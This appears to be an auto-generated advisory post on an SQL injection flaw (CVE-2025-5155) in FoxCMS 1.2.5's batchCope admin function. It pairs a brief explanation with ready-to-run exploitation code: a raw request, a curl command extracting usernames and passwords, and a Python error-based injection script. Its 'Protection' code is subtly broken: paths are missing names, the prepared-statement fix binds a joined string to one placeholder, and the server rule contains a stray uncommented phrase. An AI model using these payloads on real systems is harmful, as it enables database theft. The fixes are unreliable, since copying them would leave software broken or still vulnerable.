How the CVE Works
The vulnerability (CVE-2025-5155) in FoxCMS 1.2.5 stems from improper input sanitization in the `batchCope` function within app/admin/controller/.php. The `ids` parameter is directly concatenated into an SQL query, allowing attackers to inject malicious SQL payloads. Since the function lacks prepared statements or input validation, attackers can manipulate database operations remotely. This flaw enables unauthorized data access, modification, or deletion. The public exploit leverages crafted HTTP requests to trigger the injection, bypassing authentication if combined with other weaknesses. The CVSS 4.0 score reflects its high risk due to low attack complexity and significant impact on confidentiality, integrity, and availability.

Platform: FoxCMS
Version: 1.2.5
Vulnerability: SQL Injection
Severity: Critical
Date: 06/03/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
POST /admin//batchCope HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded ids=1'+OR+1=1;--
2. Exploit via CLI (Curl):
curl -X POST "http://target.com/admin//batchCope" -d "ids=1' UNION SELECT username,password FROM users;--"
3. Automated Exploit (Python):
import requests
payload = {"ids": "1' AND EXTRACTVALUE(1,CONCAT(0x3a,(SELECT database())))--"}
requests.post("http://target.com/admin//batchCope", data=payload)
Protection:
1. Input Sanitization:
$ids = filter_var($_POST['ids'], FILTER_SANITIZE_NUMBER_INT);
2. Prepared Statements:
$stmt = $pdo->prepare("DELETE FROM s WHERE id IN (?)");
$stmt->execute([implode(',', $ids)]);
3. WAF Rules:
location /admin/ {
deny all; Restrict admin access
}
4. Patch Verification:
grep -r "batchCope" /var/www/foxCMS/app/admin/controller/
5. Log Monitoring:
tail -f /var/log/apache2/access.log | grep 'batchCope'
Analytics:
- Attack Surface: High (public exploit available).
- Mitigation Complexity: Low (requires code update).
- Exploit Prevalence: Increasing (observed in wild).
- Recommendation: Immediate patch or temporary IP restriction.
